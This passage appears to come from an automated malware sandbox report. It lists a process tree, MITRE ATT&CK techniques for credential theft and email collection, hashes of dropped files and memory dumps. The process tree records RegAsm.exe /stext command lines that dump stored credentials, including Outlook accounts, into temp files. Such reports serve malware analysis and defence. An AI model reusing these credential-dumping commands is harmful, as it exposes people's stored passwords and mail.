        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3368
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\mjtpznlcbucjhlnwmgjkgkpuyydfdfyd"
        5⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:4840
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\wlyha"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3116

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xbqgrdq5.y2r.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\bpnwhuabnmkeewrscvoidfudxrtwk

Filesize
4KB

MD5
a7e181f6aa185be0ab0ca68b30406fe6

SHA1
58c86162658dc609615b8b6400f85c92506dfdc8

SHA256
c3071dc55b94db225d9c0f2c1b21c7e8f27dbfd168b85b7d618d8d19950e7ff2

SHA512
49969eb10e0bf7925940eb7374451f811658ef9ccfb83b86fb337c4d06c3ba17eb0181f598d9e0ec9ca25bfaf644209ac47b73d62ac924e73d03a4dcf8f8dd0f

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memory/888-11-0x00007FFEA9BC0000-0x00007FFEAA681000-memory.dmp

Filesize
10.8MB

Download
memory/888-22-0x00007FFEA9BC3000-0x00007FFEA9BC5000-memory.dmp

Filesize
8KB

Download
memory/888-23-0x00007FFEA9BC0000-0x00007FFEAA681000-memory.dmp

Filesize
10.8MB

Download
memory/888-12-0x00007FFEA9BC0000-0x00007FFEAA681000-memory.dmp

Filesize
10.8MB

Download
memory/888-0-0x00007FFEA9BC3000-0x00007FFEA9BC5000-memory.dmp

Filesize
8KB

Download
memory/888-2-0x000001ECF5A10000-0x000001ECF5A32000-memory.dmp

Filesize
136KB

Download
memory/888-34-0x00007FFEA9BC0000-0x00007FFEAA681000-memory.dmp

Filesize
10.8MB

Download
memory/3116-45-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3116-48-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3116-49-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3368-43-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3368-46-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3368-52-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3368-53-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4668-24-0x000002A8EAFB0000-0x000002A8EB1BC000-memory.dmp

Filesize
2.0MB

Download
memory/4748-42-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4748-33-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4748-36-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4748-35-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4748-40-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4748-68-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4748-39-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4748-38-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4748-67-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4748-66-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4748-31-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4748-25-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4748-37-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4748-59-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/4748-63-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/4748-62-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/4748-64-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4748-65-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4840-44-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4840-51-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4840-47-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download